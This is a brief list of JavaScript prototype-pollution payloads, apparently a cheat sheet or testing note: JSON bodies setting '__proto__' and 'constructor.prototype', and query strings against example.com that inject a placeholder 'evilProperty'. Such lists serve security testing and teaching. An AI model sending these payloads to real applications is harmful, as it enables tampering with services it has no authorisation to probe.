{
"__proto__":{
"evilProperty": "evilValue"
}
}
{
"constructor": {
"prototype": {
"evilProperty": "evilValue"
}
}
}
example.com/?__proto__[evilProperty]=evilValue
example.com/?__proto__.evilProperty=evilValue
Object.prototype
Object.prototype.evilProperty